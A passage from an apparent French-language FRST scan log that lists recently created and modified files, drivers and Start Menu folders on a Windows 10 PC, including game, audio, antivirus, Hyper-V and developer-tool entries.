(x86)\WinDirStat 2017-05-06 11:48 - 2017-05-16 17:10 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hearthstone 2017-05-06 11:48 - 2017-05-06 11:48 - 00000980 _____ C:\Users\Public\Desktop\Hearthstone.lnk 2017-05-06 11:43 - 2017-05-06 11:48 - 00000000 ____D C:\Program Files (x86)\Hearthstone 2017-05-06 11:42 - 2017-05-06 11:42 - 00000000 ____D C:\ProgramData\Blizzard Entertainment 2017-05-06 11:39 - 2017-05-08 17:27 - 00000000 ____D C:\Users\Adélie\AppData\Local\Battle.net 2017-05-06 11:39 - 2017-05-06 11:39 - 00000000 ____D C:\Users\Adélie\AppData\Local\Blizzard Entertainment 2017-05-06 11:38 - 2017-05-16 17:10 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Application Blizzard 2017-05-06 11:38 - 2017-05-06 11:38 - 00000980 _____ C:\Users\Public\Desktop\Application Blizzard.lnk 2017-05-06 11:37 - 2017-05-08 16:59 - 00000000 ____D C:\Program Files (x86)\Blizzard App 2017-05-06 11:37 - 2017-05-06 15:59 - 00000000 ____D C:\Users\Adélie\AppData\Local\FreeReign 2017-05-06 11:37 - 2017-05-06 11:37 - 00000000 ____D C:\Users\Adélie\Documents\FreeReign 2017-05-06 11:37 - 2017-05-06 11:37 - 00000000 ____D C:\Users\Adélie\AppData\Local\CrashRpt 2017-05-06 11:36 - 2017-05-06 11:42 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Battle.net 2017-05-06 11:35 - 2017-05-06 11:36 - 00000000 ____D C:\ProgramData\Battle.net 2017-05-05 18:20 - 2017-05-05 18:27 - 00000000 ____D C:\ARCHIVE 2017-05-05 17:26 - 2017-05-05 17:26 - 00000000 ____D C:\Users\Adélie\AppData\Local\UNP 2017-05-04 17:58 - 2017-05-04 17:58 - 00004494 _____ C:\Users\Adélie\AppData\Roaming\VoiceMeeterDefault.xml 2017-05-04 17:09 - 2017-05-16 16:43 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VB Audio 2017-05-04 17:09 - 2017-05-16 16:36 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VB Audio 2017-05-04 17:09 - 2017-05-04 17:09 - 00000000 ____D C:\Program Files\VB 2017-05-04 17:08 - 2017-05-04 17:08 - 00041192 _____ (Windows (R) Win 7 DDK provider) C:\WINDOWS\system32\Drivers\vbaudio_vmvaio64_win7.sys 2017-05-04 17:08 - 2017-05-04 17:08 - 00000000 ____D C:\Program Files (x86)\VB 2017-05-04 15:27 - 2017-05-04 15:27 - 00400456 _____ (AVAST Software) C:\WINDOWS\system32\aswBoot.exe ==================== Un mois - Modifiés - fichiers et dossiers ======== (Si un élément est inclus dans le fichier fixlist.txt, le fichier/dossier sera déplacé.) 2017-06-03 16:29 - 2017-01-03 19:10 - 00138269 _____ C:\WINDOWS\ZAM.krnl.trace 2017-06-03 16:29 - 2017-01-03 19:10 - 00103548 _____ C:\WINDOWS\ZAM_Guard.krnl.trace 2017-06-03 16:28 - 2016-12-09 20:29 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Skype 2017-06-03 16:23 - 2017-01-02 16:04 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\.minecraft 2017-06-03 16:23 - 2016-12-10 10:12 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\.minecraft 2017-06-03 16:22 - 2017-01-02 16:04 - 00000950 _____ C:\Users\Adélie\Desktop\nativelog.txt 2017-06-03 15:39 - 2017-03-18 22:51 - 00000000 ____D C:\WINDOWS\CbsTemp 2017-06-03 15:28 - 2017-01-05 17:55 - 00000000 ____D C:\Program Files (x86)\Steam 2017-06-03 11:52 - 2016-12-20 17:55 - 00000000 ____D C:\ProgramData\VMware 2017-06-03 11:48 - 2017-03-18 13:40 - 02621440 _____ C:\WINDOWS\system32\config\BBI 2017-06-03 11:38 - 2017-02-24 09:46 - 00005055 _____ C:\Users\Adélie\.bash_history 2017-06-02 18:12 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps 2017-06-02 18:12 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\AppReadiness 2017-06-02 18:11 - 2017-03-18 23:01 - 00000000 ____D C:\WINDOWS\INF 2017-06-01 15:50 - 2017-03-07 14:26 - 00000600 _____ C:\Users\Adélie\AppData\Local\PUTTY.RND 2017-05-31 11:37 - 2016-12-10 12:22 - 00001088 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Avast SafeZone Browser.lnk 2017-05-30 23:18 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Colasoft Validator 2 2017-05-30 18:05 - 2017-05-02 16:43 - 00000000 ____D C:\Program Files (x86)\VstPlugins 2017-05-30 17:20 - 2017-04-02 09:11 - 00002108 _____ C:\Users\Public\Desktop\Action!.lnk 2017-05-30 17:18 - 2017-04-02 09:09 - 00000000 ____D C:\Users\Adélie\AppData\Local\Mirillis 2017-05-30 16:54 - 2017-01-03 18:54 - 00000000 ____D C:\Users\Adélie\AppData\Local\CrashDumps 2017-05-30 16:48 - 2016-12-18 15:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games 2017-05-30 16:47 - 2016-12-09 20:28 - 00000000 ____D C:\Users\Adélie\AppData\Local\Packages 2017-05-30 14:25 - 2016-12-20 17:16 - 00001081 _____ C:\Users\Adélie\Desktop\Avast SafeZone Browser.lnk 2017-05-30 14:25 - 2016-12-10 10:03 - 00002270 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk 2017-05-30 14:25 - 2016-12-10 10:03 - 00002258 _____ C:\Users\Public\Desktop\Google Chrome.lnk 2017-05-30 13:23 - 2017-03-20 07:10 - 00956624 _____ C:\WINDOWS\system32\perfh00C.dat 2017-05-30 13:23 - 2017-03-20 07:10 - 00206992 _____ C:\WINDOWS\system32\perfc00C.dat 2017-05-30 13:18 - 2017-01-03 19:13 - 00251832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys 2017-05-30 12:58 - 2016-12-27 10:54 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\deluge 2017-05-30 12:47 - 2017-02-16 15:24 - 00006626 __RSH C:\ProgramData\ntuser.pol 2017-05-30 12:47 - 2016-07-16 13:47 - 00000000 ___HD C:\WINDOWS\system32\GroupPolicy 2017-05-30 00:55 - 2016-12-09 20:24 - 00000000 ___RD C:\Users\benja\OneDrive 2017-05-28 17:11 - 2017-04-27 15:22 - 00000000 ____D C:\Sites 2017-05-24 20:35 - 2017-02-15 09:59 - 00000000 ___HD C:\WINDOWS\msdownld.tmp 2017-05-24 14:14 - 2017-02-14 15:42 - 00000000 ____D C:\Games 2017-05-24 11:11 - 2016-12-09 20:21 - 00000000 ____D C:\Users\benja\AppData\Local\Packages 2017-05-24 11:01 - 2016-12-09 20:24 - 00002407 _____ C:\Users\benja\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk 2017-05-24 10:57 - 2016-12-17 18:36 - 00000000 ____D C:\Users\benja\AppData\Local\MicrosoftEdge 2017-05-24 10:55 - 2016-12-28 01:10 - 00000000 ____D C:\Users\benja\AppData\Local\NVIDIA Corporation 2017-05-24 10:55 - 2016-12-09 20:21 - 00000000 ____D C:\Users\benja\AppData\Local\ConnectedDevicesPlatform 2017-05-24 10:54 - 2016-12-09 20:21 - 00000000 __RHD C:\Users\Public\AccountPictures 2017-05-24 09:01 - 2016-12-10 13:06 - 00000000 ____D C:\WINDOWS\system32\MRT 2017-05-24 08:55 - 2016-12-10 13:06 - 132223576 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe 2017-05-23 17:55 - 2017-03-25 18:04 - 00000000 ____D C:\Users\Adélie\AppData\Local\ElevatedDiagnostics 2017-05-23 16:30 - 2017-01-03 19:34 - 00000000 ____D C:\Users\Adélie\AppData\Local\NVIDIA Corporation 2017-05-20 17:38 - 2016-12-10 10:46 - 00000000 ____D C:\ProgramData\boost_interprocess 2017-05-19 18:53 - 2017-04-19 11:53 - 00000000 ____D C:\INTELLIJ_PROJECTS 2017-05-19 18:48 - 2017-02-23 10:36 - 00000000 ____D C:\Users\Adélie\AppData\Local\SquirrelTemp 2017-05-18 17:49 - 2017-04-18 19:30 - 00000000 ____D C:\Users\Adélie\.ssh 2017-05-17 14:36 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\appcompat 2017-05-16 18:26 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\Registration 2017-05-16 17:49 - 2016-12-11 09:55 - 00000000 ____D C:\Users\Adélie\AppData\Local\Comms 2017-05-16 17:46 - 2016-12-09 20:29 - 00002410 _____ C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk 2017-05-16 17:46 - 2016-12-09 20:29 - 00000000 ___RD C:\Users\Adélie\OneDrive 2017-05-16 17:39 - 2016-12-11 10:09 - 00000000 ____D C:\Users\Adélie\AppData\Local\MicrosoftEdge 2017-05-16 17:38 - 2017-04-18 13:10 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio 11.0 2017-05-16 17:38 - 2017-04-18 13:06 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio 12.0 2017-05-16 17:38 - 2017-04-18 12:52 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio 14.0 2017-05-16 17:38 - 2017-03-18 23:03 - 00000000 ___RD C:\WINDOWS\ImmersiveControlPanel 2017-05-16 17:37 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\SysWOW64\Macromed 2017-05-16 17:37 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\Macromed 2017-05-16 17:37 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows NT 2017-05-16 17:36 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\WinBioDatabase 2017-05-16 17:34 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\rescache 2017-05-16 17:30 - 2016-12-10 10:36 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Eclipse 2017-05-16 17:30 - 2016-07-16 13:47 - 00000000 ____D C:\WINDOWS\system32\Tasks_Migrated 2017-05-16 17:27 - 2017-03-20 07:12 - 00000000 ____D C:\WINDOWS\HoloShell 2017-05-16 17:27 - 2017-03-18 23:03 - 00028672 _____ C:\WINDOWS\system32\config\BCD-Template 2017-05-16 17:27 - 2016-07-16 13:47 - 00000000 ___HD C:\WINDOWS\system32\GroupPolicyUsers 2017-05-16 17:24 - 2017-03-18 23:03 - 00000000 __RHD C:\Users\Public\Libraries 2017-05-16 17:22 - 2017-03-18 23:06 - 00000000 ____D C:\WINDOWS\Setup 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ___SD C:\WINDOWS\SysWOW64\F12 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ___SD C:\WINDOWS\system32\F12 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\SysWOW64\Dism 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\WinBioPlugIns 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\appraiser 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\ShellExperiences 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\Provisioning 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\PolicyDefinitions 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Photo Viewer 2017-05-16 17:22 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Photo Viewer 2017-05-16 17:22 - 2017-03-18 13:40 - 00000000 ____D C:\WINDOWS\system32\Dism 2017-05-16 17:13 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\SysWOW64\MUI 2017-05-16 17:13 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\MUI 2017-05-16 17:13 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\schemas 2017-05-16 17:13 - 2017-03-18 22:59 - 01149404 _____ C:\WINDOWS\system32\WindowsHyperVCluster.V2.mof 2017-05-16 17:13 - 2017-03-18 22:59 - 00327168 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsynthstor.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00307200 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsmb.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00221696 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmserial.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00194048 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsynthfcvdev.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00178688 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsif.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00142336 _____ (Microsoft Corporation) C:\WINDOWS\system32\HgsClientWmi.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00069632 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmwpctrl.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00018944 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsifproxystub.dll 2017-05-16 17:13 - 2017-03-18 22:59 - 00012192 _____ (Microsoft Corporation) C:\WINDOWS\system32\e517e4cd-0fde-406b-b1cf-56cd97edd483_hyperv.dll 2017-05-16 17:13 - 2017-03-18 22:56 - 00104448 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\Synth3dVsp.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 14414336 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmms.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 04525568 _____ (Microsoft Corporation) C:\WINDOWS\system32\rdvgm.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 03857408 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmchipset.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 02231296 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmcompute.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 02008248 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmwp.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 01570212 _____ C:\WINDOWS\system32\WindowsVirtualization.V2.mof 2017-05-16 17:12 - 2017-03-18 22:59 - 01348608 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmuidevices.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 01261568 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmemulateddevices.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00785408 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmconnect.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 00751616 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\Wnv.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00698368 _____ (Microsoft Corporation) C:\WINDOWS\system32\vsconfig.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00451584 _____ (Microsoft Corporation) C:\WINDOWS\system32\VmEmulatedStorage.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00380416 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmcompute.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00376320 _____ C:\WINDOWS\system32\VmDataStore.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00374784 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmprox.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00352256 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmicvdev.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00341512 _____ (Microsoft Corporation) C:\WINDOWS\system32\TpmEngUM.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00324096 _____ (Microsoft Corporation) C:\WINDOWS\system32\VmEmulatedNic.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00305152 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsynth3dvideo.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00301056 _____ (Microsoft Corporation) C:\WINDOWS\system32\VmSynthNic.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00247296 _____ (Microsoft Corporation) C:\WINDOWS\system32\RemoteFileBrowse.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00231424 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmdynmem.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00184832 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmicrdv.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00180224 _____ (Microsoft Corporation) C:\WINDOWS\system32\hcsdiag.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 00176640 _____ (Microsoft Corporation) C:\WINDOWS\system32\gpupvdev.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00153088 _____ (Microsoft Corporation) C:\WINDOWS\system32\vpcievdev.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00144967 _____ C:\WINDOWS\system32\virtmgmt.msc 2017-05-16 17:12 - 2017-03-18 22:59 - 00141312 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmtpm.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00137216 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmdebug.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00135424 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmsp.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 00135168 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmbusvdev.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00109568 _____ (Microsoft Corporation) C:\WINDOWS\system32\rdp4vs.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00091648 _____ (Microsoft Corporation) C:\WINDOWS\system32\CCG.exe 2017-05-16 17:12 - 2017-03-18 22:59 - 00090624 _____ (Microsoft Corporation) C:\WINDOWS\system32\CCGLaunchPad.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00074656 _____ (Microsoft Corporation) C:\WINDOWS\system32\rtpm.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00064512 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmmsprox.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00062976 _____ (Microsoft Corporation) C:\WINDOWS\system32\wnvapi.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00051712 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\pvhdparser.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00048128 _____ (Microsoft Corporation) C:\WINDOWS\system32\HyperVSysprepProvider.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00044544 _____ (Microsoft Corporation) C:\WINDOWS\system32\vid.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00036696 _____ (Microsoft Corporation) C:\WINDOWS\system32\sbresources.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00036352 _____ (Microsoft Corporation) C:\WINDOWS\system32\ActivationVdev.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00033696 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\vmsproxy.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00031232 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\vhdparser.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00031232 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ramparser.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00027648 _____ (Microsoft Corporation) C:\WINDOWS\system32\RdvgmProxy.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00026624 _____ (Microsoft Corporation) C:\WINDOWS\system32\RdvGpuInfo.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00025088 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\passthruparser.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00023552 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\lunparser.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00022528 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmcomputeeventlog.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00022016 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\hvsocketcontrol.sys 2017-05-16 17:12 - 2017-03-18 22:59 - 00020992 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\RdvgmProxy.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00019456 _____ (Microsoft Corporation) C:\WINDOWS\system32\synth3dvideoproxy.dll 2017-05-16 17:12 - 2017-03-18 22:59 - 00013312 _____ (Microsoft Corporation) C:\WINDOWS\system32\HostGuardianServiceClientResources.dll 2017-05-16 17:12 - 2017-03-18 22:56 - 00320512 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\Vid.sys 2017-05-16 17:12 - 2017-03-18 22:56 - 00155136 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\vmbusr.sys 2017-05-16 17:12 - 2017-03-18 22:56 - 00047616 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\pcip.sys 2017-05-16 17:12 - 2017-03-18 22:56 - 00016384 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmbuspiper.dll 2017-05-16 17:11 - 2017-05-02 19:50 - 00000000 ____D C:\WINDOWS\system32\UNP 2017-05-16 17:11 - 2017-04-18 12:55 - 00000000 ____D C:\WINDOWS\SysWOW64\1036 2017-05-16 17:11 - 2017-04-18 12:55 - 00000000 ____D C:\WINDOWS\SysWOW64\1033 2017-05-16 17:11 - 2017-04-18 12:55 - 00000000 ____D C:\WINDOWS\system32\1033 2017-05-16 17:11 - 2017-04-18 12:53 - 00000000 ____D C:\WINDOWS\system32\1036 2017-05-16 17:11 - 2017-03-11 22:30 - 00000000 ____D C:\WINDOWS\SHELLNEW 2017-05-16 17:11 - 2016-12-10 11:53 - 00000000 ____D C:\WINDOWS\SysWOW64\TabletPmt 2017-05-16 17:10 - 2017-05-02 16:43 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ASIO4ALL v2 2017-05-16 17:10 - 2017-05-02 16:42 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Image-Line 2017-05-16 17:10 - 2017-05-02 16:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Image-Line 2017-05-16 17:10 - 2017-05-01 19:40 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Applications Vivaldi 2017-05-16 17:10 - 2017-04-27 16:14 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wampserver64 2017-05-16 17:10 - 2017-04-21 17:12 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pingendo 4 2017-05-16 17:10 - 2017-04-20 18:18 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Rider 2017-05-16 17:10 - 2017-04-20 09:34 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight 2017-05-16 17:10 - 2017-04-19 10:01 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR 2017-05-16 17:10 - 2017-04-18 18:17 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Launch4j 2017-05-16 17:10 - 2017-04-18 13:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Phone SDK 8.0 2017-05-16 17:10 - 2017-04-18 13:34 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight 5 SDK - Français 2017-05-16 17:10 - 2017-04-18 13:14 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Phone SDK 8.1 2017-05-16 17:10 - 2017-04-18 09:48 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Android SDK Tools 2017-05-16 17:10 - 2017-04-15 16:01 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\FormatFactory 2017-05-16 17:10 - 2017-04-03 18:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\JetBrains 2017-05-16 17:10 - 2017-04-03 17:58 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Android Studio 2017-05-16 17:10 - 2017-03-26 08:51 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\MD5 Checksum 2017-05-16 17:10 - 2017-03-25 18:16 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\MAXON 2017-05-16 17:10 - 2017-03-22 15:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Autodesk 2017-05-16 17:10 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft 2017-05-16 17:10 - 2017-03-16 18:11 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CyberGhost 6 2017-05-16 17:10 - 2017-03-15 14:32 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Earth 2017-05-16 17:10 - 2017-03-07 14:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\MobaXterm Personal Edition 2017-05-16 17:10 - 2017-02-16 14:56 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\DiskInternals 2017-05-16 17:10 - 2017-02-16 14:49 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\LinuxLive USB Creator 2017-05-16 17:10 - 2017-02-15 20:17 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Image Writer 2017-05-16 17:10 - 2017-02-07 17:47 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\adsl TV 2017-05-16 17:10 - 2017-02-04 20:18 - 00000000 ____D C:\Users\benja\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Sherlock Holmes contre Jack L'Eventreur 2017-05-16 17:10 - 2017-01-10 18:15 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Nox 2017-05-16 17:10 - 2017-01-10 18:02 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam 2017-05-16 17:10 - 2017-01-08 11:56 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\eTeks Sweet Home 3D 2017-05-16 17:10 - 2017-01-07 11:52 - 00000000 ____D C:\ProgramData\regid.1986-12.com.adobe 2017-05-16 17:10 - 2017-01-05 17:55 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam 2017-05-16 17:10 - 2017-01-03 19:12 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes 2017-05-16 17:10 - 2016-12-28 01:10 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation 2017-05-16 17:10 - 2016-12-27 10:54 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Deluge 2017-05-16 17:10 - 2016-12-21 17:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dragon NaturallySpeaking 2017-05-16 17:10 - 2016-12-21 16:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013 2017-05-16 17:10 - 2016-12-20 17:57 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Andy 2017-05-16 17:10 - 2016-12-17 15:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Bitvise SSH Client 2017-05-16 17:10 - 2016-12-17 11:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client 2017-05-16 17:10 - 2016-12-13 17:35 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DiskCheckup 2017-05-16 17:10 - 2016-12-11 10:25 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Tablet 2017-05-16 17:10 - 2016-12-10 13:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\BitComet (64-bit) 2017-05-16 17:10 - 2016-12-10 12:27 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\JDownloader 2017-05-16 17:10 - 2016-12-10 10:32 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java 2017-05-16 17:10 - 2016-12-10 10:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java Development Kit 2017-05-16 17:10 - 2016-12-10 10:29 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Notepad++ 2017-05-16 17:10 - 2016-12-10 10:27 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR 2017-05-16 17:10 - 2016-12-10 10:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR 2017-05-16 17:10 - 